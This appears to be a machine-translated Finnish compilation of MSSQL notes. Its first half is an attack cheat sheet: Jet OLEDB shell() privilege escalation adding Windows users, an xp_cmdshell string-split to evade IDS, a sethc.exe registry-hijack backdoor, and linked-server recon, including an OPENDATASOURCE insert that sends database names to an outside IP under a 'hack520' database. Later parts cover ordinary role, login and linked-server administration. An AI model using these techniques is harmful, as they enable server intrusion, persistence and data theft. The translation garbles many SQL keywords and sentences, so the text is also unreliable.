OLE DB -virhejäljitys [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize palautettiin

0x80004005: ]。


3. Jos syöttöprosessin aikana on enemmän välilyöntejä, virhe raportoidaan myös. Kiinnitä erityistä huomiota tähän, monet ihmiset etsivät artikkeleita suoraan verkosta

Liitä se sisään ja suorita se.
          Palvelin: Msg 7357, Taso 16, Tila 2, Rivi 1
          Objekti 'select' ei onnistunut käsittelemään

shell("cmd.exe /c net user passwd /add")'。
OLE DB:n palveluntarjoaja 'microsoft.jet.oledb.4.0' ilmoittaa, ettei objektissa ole sarakkeita.

OLE DB:n virheenseuranta [Ei-liitäntävirhe:
OLE-tietokantapalveluntarjoaja ei pysty käsittelemään objektia, koska olio on

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Jos mdb- ja cmd.exe-oikeudet ovat väärät, ongelma ilmenee myös.
          Kun MDB:n käyttöoikeudet ovat virheelliset,
           Palvelin: Poista

Korko 7320, taso 16, osavaltio 2, linja 1

Hän ei voinut vastata
OLE tietokantapalveluntarjoaja 'Microsoft.Jet.OLEDB.4.0' suorittaa kyselyn.
           [OLE/DB-palveluntarjoaja palautettu

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Jos verkkolupa on virheellinen, kehotetta ei ole.

Viimeinen tapa nostaa auktoriteettia on ladata järjestelmän ias.mdb ja cmd.exe nykyiseen verkkohakemistoon, net.exe kolme tiedostoa.

Suorita valitse * openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','valitse shell

("E:\web\cmd.exe /c E:\web\net.exe käyttäjä passwd /add")')
          Lisää tietokoneen käyttäjä onnistuneesti.






Splitting cmdshell ohittaa IDS:n         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
julistaa

@a sysname-joukko @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'





Muokkaus: rekisterin kaappaus siirto
Toimitusjohtaja.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe päällä'; --



Kysy linkkipalvelimelta
valikoida

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
valikoida

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Kysely linkserver2
Valitse erillinen isäntänimi,db_name(dbid),net_address,loginame,program_name joukosta

mestari.. sysprocessesit



Kysy linkkipalvelimelta
sekä muut kirjautuneet käyttäjät
Valitse * [192.168.1.1].master.dbo.syslogins



Kyselylinkserver
Kaikki tietokannat
valitse * linkedSrvWeb.master.dbo.sysdatabasesista



Suorita laajennettu tallennustila LinkServerissä
Exec [IP].master.dbo.xp_cmdshell



Kysy kaikki taulukot linkkipalvelimella
Valitse * from [ip].master.dbo.sysobjects








Valitse * openrowsetistä

('sqloledb','server=IP; uid=käyttäjä; pwd=password','valitse @@version')


valitse * openquery:stä([LINKSERVER

nimi],'valitse @@version')




valitse * openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




valitse * openquery(GM_SERVER,'valitse * sysobjectsista, missä xtype = (''U'')')


Valitse *

openquery(NDOORS,'Valitse IS_MEMBER(''db_owner'')')




Valitse * from openquery(toatdeweb,'select

srvname lähteestä master.dbo.sysservers')


lisää avoimeen datalähteeseen

('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select

Nimi: master.dbo.sysdatabases
luo tietokanta hack520 Luo TAULU zhu(name nvarchar(256)

null); Luo TAULUKKO J8(id int NULL, name nvarchar(256) null);


Valitse * OpenQuerysta

(toatdeweb, 'aseta FMTonlyn pois käytöstä master.dbo.xp_cmdshell ''nettikäyttäjä''')


Toimitusjohtaja.. xp_dirtree

'c:\',1,1
Suorita kyselyhakemisto


exec links.master.. xp_cmdshell 'ipconfig'


Valitse * openquery(toatdeweb,'set'setistä

fmtonly off executive master.dbo.xp_cmdshell ''ipconfig /all''')



Yhdistä mysql Select * Mem_DB:sta. UserDB.dbo.AdminList


MESTARI.. XP_dirtree 'c:\',1,1




Johtaja

master.dbo.xp_cmdshell 'dir'


Valitse count(*) [osoita] -kohdasta
Kysy, kuinka paljon dataa nykyisessä taulukossa on




Valitse distinct hostname,db_name(dbid),net_address,loginame,program_name

mestarilta.. sysprocessesit






Valitse * GameDB01:stä. Server01.dbo.cabal_character_table missä nimi='

Sika'





Kun poistat sen, siinä lukee: Tietokantaa käytetään eikä sitä voi poistaa.


Klikkaa tietokantaa, jonka haluat poistaa, avataksesi Event Viewerin.


Syöte:


Käyttö   

Mestari
mene
Sitten syötä seuraava:
julistaa @d varchar(8000)
setti @d= ' '
valitse @d=@d+ ' tapa   

'+cast(spid as varchar)+char(13)
mestarilta.. sysprocesses, missä dbid=db_id('kirjaston nimi')
exec(@d)
--
Käytä koodia poistaaksesi prosessin, joka yhdistää tähän tietokantaan ensin.












MSSQL operoi Oraclea LinkServerin kautta






1) Asenna Oracle SQL_SERVER 2005 -palvelimelle

9i-asiakas. Oletetaan, että asennetaan C:\ora92i\ hakemistoon. Jos D: on NTFS-osio, sinun täytyy asettaa ORACLE-asennettu hakemisto käytettäväksi

Tilaajilla on oikeus ajaa, lisätä ja poistaa.


2)
Määritä C:\ora92i\network\ADMIN\tnsnames.ora -tiedosto. (Seuraava punainen teksti on esimerkki konfiguraatiosta)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(OSOITE = (PROTOKOLLA = TCP)(ISÄNTÄ = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Suorita seuraava komento DOS-tilassa varmistaaksesi, että ORACLE-asiakas on asennettu oikein.


SQLplus-käyttäjä/password@ORCL


4)
Avaa Start - Ohjauspaneeli - Palvelut ja vahvista, että Distributed Transaction Coordinator -palvelu on käynnistetty.



5) Avaa SQL SERVER Management Studio, instanssinnimi (ORCL) - Palvelinobjekti (oikea klikkaus) - Uusi yhteyspalvelin.


1.      


Linkkipalvelin: Kirjoita linkitetyn palvelimen nimi, kuten OracleTest


2.         
Palvelintyyppi, valitse toinen tietolähde


3. Pääsyliittymä:
Valitse Oracle Provider OLE DB:lle


4. Tuotteen nimi: Write Oracle


5. Tietolähde: Kirjoita

Palvelunimi, joka on määritetty tnsnames.ora-tiedostossa, kuten ORCL


6.         
Access interface string: userid=sys as sysdba; password=password


7.         
Valitse turvallisuusasetukset -sivulla käytä tätä asennuskontekstia yhteyden muodostamiseen:


a) Etäkirjautuminen: käyttäjä (toinen käyttäjä, ei järjestelmäjärjestelmä)


b)      

    Käytä salasanaa: salasanaa


8. Aseta "NT AUTHORITY\SYSTEM" paikalliseen kirjautumiseen, etäkäyttäjäjärjestelmään ja aseta salasana


9.

         Oletko varma


6) SQL:ää voi kirjoittaa kahdella tavalla


a) T-SQL-syntaksin käyttö:


           VALITSE * POIS

OraTest.ERP.BAS_ITEM_CLASS


           Huomaa, että kun syötät SQL-lauseita SQL Query Analyzeriin, kiinnitä huomiota kiinalaiseen täysleveään ja puolileveään vaihtoon

Way!


b) Käytä PLSQL-syntaksia:
           VALITSE * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Toinen pääsytapa on noin 50 % nopeampi kuin ensimmäinen; Toinen pääsytapa on suoraan yhteydessä

ORACLE on verrattavissa; Ensimmäinen hakutapa voi johtaa odottamattomiin virheisiin, kuten:
           Taulukkoa ei ole olemassa, eikä nykyistä käyttäjää

Pöydälle ei ole pääsyä, ja niin edelleen.


           d) Jos sarakkeeseen, johon tarvitsee, käyttää tietotyyppejä ilman tarkkuutta, molemmat

Tämä on ORACLE-virhe, jota ei voi korjata, ja jonka voi välttää vain erityisellä kyselylauseiden käsittelyllä:


     OLE DB -palveluntarjoajan 'OraOLEDB.Oracle' tarjoama metadata sarakkeille on epäjohdonmukaista. Metatietotiedot muuttuvat suorituksen yhteydessä.










MSSQL lisäsi

Poista käyttäjä ja anna käyttöoikeudet


Käytä kirjastosi nimeä   
mene   
--Lisää käyttäjiä   
Exec sp_addlogin 'test' -- lisää kirjautuminen   
johtaja

sp_grantdbaccess N'test' – tekee siitä laillisen käyttäjän nykyisessä tietokannassa   
johtaja sp_addrolemember N'db_owner',

N'test' – myöntää kaikki oikeudet omaan tietokantaansa   
--Tämä luo käyttäjiä, jotka pääsevät käsiksi vain omaan tietokantaansa ja tietokantaan sisältyviin tietokantaan

Julkinen pöytä vieraskäyttäjille   
mene   
--Poista testikäyttäjä   
exec sp_revokedbaccess N'test' -- Poista pääsy tietokantaan

Rajoitus   
exec sp_droplogin N'test' -- poista kirjautuminen   
Jos luot sen Enterprise Managerissa, käytä:   
Enterprise Manager - Turvallisuus

Seksi --Napsauta oikealla Kirjaudu--Uusi kirjautuminen   
Yleiset asiat   
--Syötä käyttäjänimi nimeen   

--Todennusmenetelmä valitaan tarpeidesi mukaan (jos käytät Windows-tunnistautumista, sinun täytyy ensin luoda uusi käyttäjä käyttöjärjestelmän käyttäjien joukosta)   

--Oletusasetuksista valitse tietokannan nimi, jonka haluat käyttää uudelle käyttäjälle   
Palvelinroolin kohde   
Älä valitse tästä mitään   
tietokanta

Pääsykohde   
Tarkista tietokannan nimi, johon haluat päästä luomallesi käyttäjälle   
Salli tietokantarooli, valitse "julkinen", "db_ownew"   
Totta kai, tämä

Näytteen luoma käyttäjä on sama kuin yllä olevan lauseen luoma käyttäjä   



Viimeinen vaihe on asettaa tietyt käyttöoikeudet tietyille käyttäjille, jotka voidaan viitata seuraavaan minimiesimerkkiin:   

--Lisää käyttäjiä, jotka saavat käyttää vain määritettyä taulukkoa:   
Exec sp_addlogin 'käyttäjänimi', 'salasana', 'oletustietokantanimi'   

--lisää tietokantaan   
johtaja sp_grantdbaccess 'käyttäjänimi'   

--Määritä koko taulun käyttöoikeudet   
MYÖNNÄ VALINTA, LISÄÄ, PÄIVITÄ, POISTA taulukossa 1 [käyttäjänimi]   
--Anna käyttöoikeudet tietyille sarakkeille   
MYÖNNÄ VALINTA, PÄIVITYS TAULUKKOON 1(id,AA) OSOITTEESEEN [käyttäjänimi]   


Erityiset turvallisuusasetukset ja teoreettinen tieto löydät SQL Online Help -ohjeesta  







Kiinteän tietokantaroolin kuvaus   
  db_owner Minulla on täysi käyttöoikeus tietokannassa.   

db_accessadmin Voit lisätä tai poistaa käyttäjätunnukset.   

db_securityadmin Voi hallita täysiä oikeuksia, objektien omistajuutta, rooleja ja roolijäsenyyksiä.   

db_ddladmin voi antaa KAIKKI DDL:t, mutta eivät myöntää, peruuttaa tai kieltää -lausuntoja.   

db_backupoperator voivat antaa DBCC-, CHECKPOINT- ja BACKUP-lauseita.   

db_datareader Voit valita kaiken datan mistä tahansa käyttäjätaulusta tietokannassa.   

db_datawriter Voit muuttaa kaiken datan missä tahansa käyttäjätaulussa tietokannassa.   

db_denydatareader Et voi valita dataa mistään käyttäjätaulusta tietokannassa.   

db_denydatawriter Et voi muuttaa tietoja missään käyttäjätaulussa tietokannassa.  





Sinun pitäisi valita db_datareader, db_datawriter, db_accessadmin




5.
Kun SQL Server -instanssi käynnistetään yksikäyttäjätilassa, Windowsin ylläpitäjätili voi käyttää sqlcmd-työkalua yhdistääkseen Windowsin todennustilassa

SQL Server。 Voit käyttää T-SQL-komentoja, kuten "sp_addsrvrolemember", lisätäksesi olemassa olevan kirjautumisen järjestelmänvalvojan palvelimen rooliin

Tai luo uusi kirjautumistili.
Esimerkkilause on seuraava:


EXECUTIVE sp_addsrvrolemember 'CONTOSO\Buck', 'järjestelmänvalvoja';


MENE


Lisää järjestelmänvalvojan etuoikeus








(1) Hallinnoi palvelinrooleja


SQL Serverissä on kaksi pääasiallista tallennettua proseduuria, jotka toteuttavat SQL Server -roolihallinnan:


sp_addsrvrolemember

ja sp_dropsrvrolemember


sp_addsrvrolemember
Voit lisätä kirjautumistilin palvelinrooliin, jolloin siitä tulee kyseisen palvelinroolin jäsen. Syntaksi on seuraava:
sp_addsrvrolemember

kirjautuminen , rooli


sp_dropsrvrolemember
Voit poistaa kirjautumistilin palvelinroolista, ja kun jäsen poistetaan palvelinroolista, sillä ei enää ole kyseistä palvelinroolia

Käyttöoikeudet asetettu. Syntaksi on seuraava:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rooli'


siihen

@loginname on kirjautuneen käyttäjän nimi; @rolename on palvelinrooli.




(2) Hallinnoi tietokantarooleja


SQL Serverissä tietokannan hallinta on tuettu

Tallennettuja proseduureja on kuusi päätyyppiä, ja niiden tarkat merkitykset ja syntaksi ovat seuraavat:


sp_addrole: Käytetään uuden tietokantaroolin luomiseen;
sp_addrole

Rooli, omistaja


sp_droprole: Käytetään poistamaan tietokantarooli nykyisestä tietokantaroolista;
sp_droprole rooli


sp_helprole:

Sitä käytetään näyttämään kaikki tiedot kaikista tietokantarooleista nykyisessä tietokannassa;
sp_helprole ['rooli']


sp_addrolemember: Käytetään lähettämään tietokantaan

Lisää tietokantakäyttäjiä rooliin, jotka voivat olla käyttäjän määrittelemiä standardeja tai kiinteitä tietokantarooleja, mutta eivät voi olla

Sovellusroolit.
sp_addrolemember rooli, security_account


sp_droprolemember: Käytetään tietyn merkin poistamiseen

kotitalouksille;
sp_droprolemember rooli, security_account


sp_helprolemember: Käytetään näyttämään kaikki tietokantaroolin jäsenet


sp_helprolemember ['rooli']






MSSQL LINKSERVER -kysely


----------------------------------------------------------------------------------
-- Kirjoittaja :

htl258(Tony)
-- Päivämäärä: 2010-06-25 22:23:18
-- Versio: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. heinäkuuta 2008 14:43:34
-- Tekijänoikeudet (c) 1988–2008 Microsoft Corporation
--

Kehittäjäversio Windows NT 5.1:lle (Build 2600: Service Pack 2)
-- Blogi : -- Aihe:
SQL-datatoiminnot eri palvelintietokantojen välillä
----------------------------------------------------------------------------------
--1.
Luo linkkipalvelin
--1.1 Luo linkin nimi
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB',' etäpalvelimen nimi

tai IP-osoite' --
Jos sinulla on oma instanssinimi, lisää "\instanssinimi"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Luo kirjautuminen (tai luo linkkipalvelimen kirjautumiskartta) (valitse vain yksi tapa)
--1.2.1
Kirjaudu sisään Windows-todennuksella
EXECUTIVE sp_addlinkedsrvlogin 'LinkName'
--tai EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Kirjaudu sisään SQL-todennuksella
EXECUTIVE sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false',null,'sa','123' */
--2.
Linkkipalvelimeen liittyvät datatoiminnot
--2.1 Kyselyesimerkki
VALITSE * FROM LinkName.database name.schema name.table name
/*例如:SELECT *

LÄHDE: TonyLink.Mydb.dbo.tb */
--
2.2 Tuontiesimerkki
VALITSE * SISÄÄN taulun nimeen LINKName.tietokanta nimi.skeeman nimi.taulun nimi
/*例如:SELECT * INTO Newtb

LÄHDE: TonyLink.Mydb.dbo.tb */
--
2.3 Päivitysesimerkki
PÄIVITÄ LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Henkilöt='g' MISSÄ Henkilöt='a' */
--
2.4 Poista esimerkkejä
POISTA LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb MISSÄ henkilöt='g' */
--3 rivijoukko-toiminnon (OPENQUERY/OPENROWSET/OPENDATASOURCE) KAUTTA.

Menetelmä
-
3.1 OPENQUERY-menetelmä (vaatii juuri luomasi linkkipalvelimen apua):
--
3.1.1 Kyselyesimerkki
VALITSE * OPENQUERY-ALUEESTA (Linkin nimi, 'VALITSE * TIETOKANNAN nimestä. Arkkitehtuurin nimi. taulukon nimi')
/*
Esimerkiksi: VALITSE * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Tuontiesimerkit
--3.1.2.1 Tuo kaikki sarakkeet
LISÄÄ OPENQUERY(LinkName, 'SELECT * FROM tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi

') VALITSE * paikallisesta taulukosta
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

FROM tb */
--3.1.2.2
Tuo määritetyt sarakkeet
LISÄÄ OPENQUERY(LinkName, 'SELECT * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi') (sarakke, sarake...)
SELECT-sarakke,

Kolumni... PAIKALLISESTA taulukosta
/*
Esimerkiksi: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
VALIKOIDA

ALUE, TASO, Henkilöt TUBERKULOOSISTA
*/
--3.1.3
Päivitysesimerkkejä
PÄIVITÄ OPENQUERY(LinkName, 'SELECT * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukkonimi') SET-kenttä = 'arvo' MISSÄ sana

Segmentti = 'Ehto'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Henkilöt='a' */
--3.1.4
Poista esimerkkejä
POISTA OPENQUERY(LinkName, 'VALITSE * FROM tietokannan nimestä. Arkkitehtuurin nimi. table name') WHERE kentän nimi='ehto'
/*例

Esimerkiksi: DELETE OPENQUERY(TonyLink, 'VALITSE * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
OPENROWSET-menetelmä (sinun ei tarvitse käyttää luodun linkin nimeä.) Jos yhdistetyn instanssin nimi ei ole oletus, sinun täytyy asettaa se SQL-palvelimen nimeksi tai IP-osoitteeksi.

"\instanssinimi")
--3.2.1 Kyselyesimerkki
--3.2.1.1
Windowsin todennusmenetelmäkysely (jokin seuraavista menetelmistä riittää)
VALITSE * OPENROWSET('SQLOLEDB', 'server=sql palvelimen nimi tai

IP-osoite; Trusted_Connection=kyllä', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * OPENROWSET('SQLNCLI',

'server=sql-palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * POIS

OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä','VALITSE * TIETOKANNASTA

Nimi. Arkkitehtuurin nimi. taulukon nimi')
VALITSE * OPENROWSET('SQLNCLI', 'server=sql palvelimen nimi tai IP-osoite

Osoite; Trusted_Connection=kyllä','VALITSE * FROM tietokannan nimestä. Arkkitehtuurin nimi. taulukon nimi')
/*
Esimerkiksi: VALITSE * OPENROWSETISTÄ

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=kyllä', Mydb.dbo.tb)

Tai: VALITSE * OPENROWSETISTÄ

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=kyllä', Mydb.dbo.tb)

Tai: VALITSE * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=kyllä','VALITSE *

LÄHDE: Mydb.dbo.tb')

Tai: VALITSE * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=kyllä','VALITSE *

LÄHDE: Mydb.dbo.tb')
*/
--3.2.1.2 SQL-todennusmenetelmäkysely (Yksi seuraavista menetelmistä riittää)
VALITSE * OPENROWSETISTÄ

('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * POIS

OPENROWSET('SQLNCLI', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=password','VALITSE *

TIETOKANNAN nimestä. Arkkitehtuurin nimi. taulukon nimi')
VALITSE * OPENROWSET('SQLNCLI', 'server=sql-palvelimen nimi tai IP-osoite; uid=

Käyttäjätunnus; pwd=password','VALITSE * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi')
VALITSE * OPENROWSET('SQLOLEDB', 'sql

palvelimen nimi'; 'käyttäjänimi'; 'salasana', tietokantanimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * OPENROWSET('SQLNCLI', 'SQL-PALVELIMEN NIMI

'; 'käyttäjänimi'; 'salasana', tietokantanimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' käyttäjä

nimi'; 'Salasana', 'VALITSE * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi')
VALITSE * OPENROWSET('SQLNCLI', 'ql-palvelin

nimi'; 'käyttäjänimi'; 'Salasana', 'VALITSE * FROM tietokannan nimi. Arkkitehtuurin nimi. taulukon nimi')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Tai: VALITSE * OPENROWSETISTÄ

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Tai: VALITSE * OPENROWSETISTÄ

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VALITSE * FROM Mydb.dbo.tb')

tai: VALITSE * OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VALITSE * POIS

Mydb.dbo.tb')

tai: VALITSE * OPENROWSETISTÄ ('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

tai: VALITSE * OPENROWSETISTÄ ('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

tai: VALITSE * OPENROWSETISTÄ ('SQLOLEDB','192.168.58.208'; 'sa'; '123','VALITSE * FROM Mydb.dbo.tb')

tai: VALITSE * OPENROWSETISTÄ ('SQLNCLI','192.168.58.208'; 'sa'; '123','VALITSE * FROM Mydb.dbo.tb')
*/
--3.2.2 Tuontiesimerkki
--3.2.2.1 Tuo kaikki sarakkeet
LISÄÄ OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite

Osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi)
VALITSE * PAIKALLISESTA taulukosta
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VALITSE * TUBERKULOOSISTA
*/
--3.2.2.2 Tuonti

Määritä sarakkeet
INSERT OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. räkki

Rakenne nimi. Taulukon nimi) (sarakke, sarakke...)
SELECT-sarakke, sarakke... PAIKALLISESTA taulukosta
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ETÄISYYS, TASO, Henkilöt)
VALIKOIDA

ALUE, TASO, Henkilöt TUBERKULOOSISTA
*/
--Huomautus: Lisää vaihtoehtoisia menetelmiä varten katso .2.1-kyselyesimerkki, korvaa vain OPENROWSET-funktio

Sisältö on riittävää.
--3.2.3 Päivitysesimerkki
PÄIVITÄ OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjänimi

;p wd=password', tietokantanimi. Arkkitehtuurin nimi. Taulukon nimi)
SET-kenttä = 'arvo'
MISSÄ kenttä = 'ehto'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Henkilöt='g'
MISSÄ henkilöt='a'
*/
--Huomautus: Lisää vaihtoehtoisia menetelmiä varten katso .2.1-kyselyesimerkkiä, korvaa vain sisältö OPENROWSETissä.
--3.2.4 Poista indikaatio

Esimerkki
POISTA OPENROWSET('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana', tietokannan nimi. Skeeman nimi

.taulukon nimi)
MISSÄ kentän nimi='ehto'
/*
Esimerkiksi: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
MISSÄ

Henkilöt='g'
*/
--Huomautus:
Lisää vaihtoehtoisia menetelmiä löydät .2.1-kyselyesimerkistä, korvaa vain sisältö OPENROWSET-tiedostossa.
--3.3 OPENDATASOURCE-menetelmä

(Sinun ei tarvitse käyttää luodun linkin nimeä.) Jos yhteyden instanssinnimi ei ole oletus, sinun täytyy lisätä \instanssin nimi SQL-palvelimen nimen tai IP-osoitteen jälkeen

")
--3.3.1
Kyselyesimerkki
--3.3.1.1 Windowsin todennusmenetelmäkysely (Yksi seuraavista menetelmistä riittää)
VALITSE * FROM OPENDATASOURCE('SQLOLEDB',

'server=sql-palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä'). Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
VALITSE * POIS

OPENDATASOURCE('SQLNCLI', 'server=sql palvelimen nimi tai IP-osoite; Trusted_Connection=kyllä'). Tietokannan nimi. Arkkitehtuurin nimi.

Taulukon nimi
/*
Esimerkiksi: VALITSE * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=kyllä'). Mydb.dbo.tb

Tai: VALITSE * OPENDATASOURCESTA

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=kyllä'). Mydb.dbo.tb
*/
--3.3.1.2
SQL-todennusmenetelmäkysely (jokin seuraavista menetelmistä riittää)
VALITSE * OPENDATASOURCE:STA ('SQLOLEDB', 'server=sql-palvelimen nimi tai

IP-osoite; uid=käyttäjätunnus; pwd=salasana').
Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
VALITSE * OPENDATASOURCE('SQLNCLI', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjä

Nimi; pwd=salasana').
Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
VALITSE * OPENDATASOURCE:STA ('SQLOLEDB', 'Data Source=sql-palvelimen nimi tai IP-osoite

Osoite; uid=käyttäjätunnus; pwd=salasana').
Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
VALITSE * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql-palvelimen nimi tai IP-osoite

Osoite; uid=käyttäjätunnus; pwd=salasana').
Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Tai: VALITSE * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Tai: VALITSE * OPENDATASOURCE:sta('sqloledb','Data

Lähde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Tai: VALITSE * OPENDATASOURCE:sta('sqlncli','Data

lähde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Tuo kaikki sarakkeet
LISÄÄ OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana').

Kirjaston nimen mukaan. Arkkitehtuurin nimi. Taulukon nimi
VALITSE * PAIKALLISESTA taulukosta
/*
Esimerkiksi: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
VALIKOIDA

* TUBERKULOOSISTA
*/
--3.3.2.2
Tuo määritetyt sarakkeet
LISÄÄ OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana').

Kirjaston nimen mukaan. Arkkitehtuurin nimi. Taulukon nimi (sarakke, sarakke...)
SELECT-sarakke, sarakke... PAIKALLISESTA taulukosta
/*
Esimerkiksi: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(ETÄISYYS, TASO, Henkilöt)
VALITSE ALUE, TASO, HENKILÖT TUBERKULOOSISTA
*/
--Huomautus:
Lisää vaihtoehtoisia menetelmiä löydät .3.1-kyselyesimerkistä, korvaa vain sisältö rivijoukkofunktiossa (OPENDATASOURCE).
--3.3.3 Päivitysesimerkki
PÄIVITÄ OPENDATASOURCE('SQLOLEDB', 'server=sql-palvelimen nimi tai IP-osoite; uid=käyttäjätunnus; pwd=salasana').
Tietokannan nimi. Arkkitehtuurin nimi. Taulukon nimi
SET-kenttä = 'arvo'
MISSÄ kenttä = 'ehto'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Henkilöt='g'
MISSÄ henkilöt='a'
*/
--Huomautus:
Lisää vaihtoehtoisia menetelmiä löydät .3.1-kyselyesimerkistä, korvaa vain sisältö rivijoukkofunktiossa (OPENDATASOURCE).
--3.3.4 Poista esimerkki
